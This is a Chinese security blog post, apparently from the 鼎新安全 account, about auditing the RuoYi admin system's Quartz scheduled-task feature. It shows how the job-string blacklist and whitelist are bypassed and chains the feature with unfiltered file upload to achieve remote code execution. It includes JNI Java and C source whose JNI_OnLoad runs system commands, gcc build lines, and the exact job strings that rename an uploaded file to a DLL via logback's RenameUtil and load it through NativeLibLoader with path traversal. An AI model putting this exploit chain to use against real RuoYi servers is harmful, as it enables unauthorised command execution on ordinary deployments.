Java代审&后台计划任务中的RCE攻击
Java代审&后台计划任务中的RCE攻击
T3Ysec 2025-05-19 14:49
鼎新安全
更多资料
持续关注
计划任务
先分析路由:
对于java代码文件src/main/java/com/ruoyi/quartz/controller/SysJobController.java
添加计划任务逻辑
首先先判断cron表达式是否正确
又判断是否有rmi字段,目标字符串不允许’ldap(s)’调用和http
然后遍历黑名单进行判断是否输入 违规类
通过for遍历在通过把主字符串 str 从第 i 个字符开始,截取 len 长度,和 searchStr 的前 len 个字符做 逐个字符比较,支持忽略大小写去匹配是否存在关键字
最后一个逻辑匹配是否在白名单内
黑名单的类:
public static final String[] JOB_ERROR_STR = {
"java.net.URL",
"javax.naming.InitialContext",
"org.yaml.snakeyaml",
"org.springframework",
"org.apache",
"com.ruoyi.common.utils.file",
"com.ruoyi.common.config",
"com.ruoyi.generator"
};
白名单的类:
public static final String[] JOB_WHITELIST_STR = { "com.ruoyi.quartz.task" };
执行任务逻辑
有个前置知识:
spring Quartz 的执行是通过Scheduler 类去执行的,该类下的方法
|
|
---|---|
scheduleJob(JobDetail jobDetail, Trigger trigger) |
|
addJob(JobDetail jobDetail, boolean replace) |
|
deleteJob(JobKey jobKey) |
|
|
|
|
|
|
|
|
|
[前端请求] → [JobController 添加任务]
↓
[Quartz Scheduler]
↓
[MyQuartzJob.executeInternal()] 输出执行逻辑
调用jobService的run方法
通过从数据库查询定时任务,在调用了scheduler.triggerJob(jobKey, dataMap) 立即执行任务并传参,最后的最后走到AbstractQuartzJob#doExecute(context, sysJob);
这个逻辑我相信大家不陌生,就是简单的类的加载实例化方法
分析:传入ryTask.ryParams(‘ry’)
在通过判断beanName是有包名,如果有那就调用包名的逻辑就是获取加载器去加载
最后的我就不说了执行了方法传入了参数。
总结
• 使用的类不在黑名单中
• 包含com.ruoyi.quartz.task字符串
• 不可以使用rmi ldap http字符串
文件上传
没有任何过滤的
结合导致RCE
有一种技术是JNI,java底层还是由c语言实现,而JAVA也允许用户去调用C代码,图如下
其实利用思路很简单就是利用 c 语言生成 dll 文件,然后利用 System.loadLibrar 来加载执行就行了。
本地实现 JNI
先编写写一个命令执行的 java 类
package com.ruoyi.system;
public class cmd {
public native void exec();
}
使用Javac编译为C头文件:
& "C:\Program Files\Java\jdk1.8.0_112\bin\javac.exe" -h . -cp . cmd.java
在去编写我的恶意C代码:
#include "com_ruoyi_system_cmd.h"
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
JNIEXPORT void JNICALL Java_com_ruoyi_system_cmd_exec(JNIEnv *, jobject)
{
system("calc");
}
然后执行下面命令编写为 dll 文件
Win:
gcc -I "C:\Program Files\Java\jdk1.8.0_112\include" -I "C:\Program Files\Java\jdk1.8.0_112\include\win32" -shared -o cmd.dll .\cmd.c
Linux:
gcc -fPIC -I"/root/jdk8/include" -I "/root/jdk8/include/linux" -shared -o rce.so cmd.c
编译出来dll后我们通过本地的加载测试是否能正常执行
package com.ruoyi.system;
public class Text {
public static void main(String[] args) {
System.out.println("Library path: " + System.getProperty("java.library.path"));
System.loadLibrary("cmd");
}
}
本地的演示。
问题
怎么让他在加载的时候就调用执行命令呢?
使用JNI_OnLoad解决:
#include <jni.h>
#include <stdio.h>
JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM *vm, void *reserved) {
printf("JNI_OnLoad called! 执行初始化操作\n");
// 这里写你想执行的命令,比如启动外部程序、初始化资源等
system("dir"); // Windows示例,Linux可换成"ls"
return JNI_VERSION_1_6; // 返回JNI版本,必须返回合适的版本
}
现在开始R Ruoyi吧
上传恶意JNI文件
通过使用RenameUtil类方法去对文件名进行修改
ch.qos.logback.core.rolling.helper.RenameUtil.renameByCopying
("D:\ruoyi\uploadPath\upload\2025\05\19\com.ruoyi.quartz.task_20250519013441A002.txt",
"D:\ruoyi\uploadPath\upload\2025\05\19\com.ruoyi.quartz.task_20250519013441A002.dll");
com.sun.glass.utils.NativeLibLoader.loadLibrary('../../../com.ruoyi.quartz.task_20250519013441A002')
执行加载JNI
限制
1、知道对方上传文件的路径和当前网站的路径
2、对方JDK版本不能过高不然会不存在 com.sun.glass.utils.NativeLibLoader类(但是也可以寻找新的Loader类)com.sun.glass.utils.NativeLibLoader存在于JDK 8
END
注:鼎新安全有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。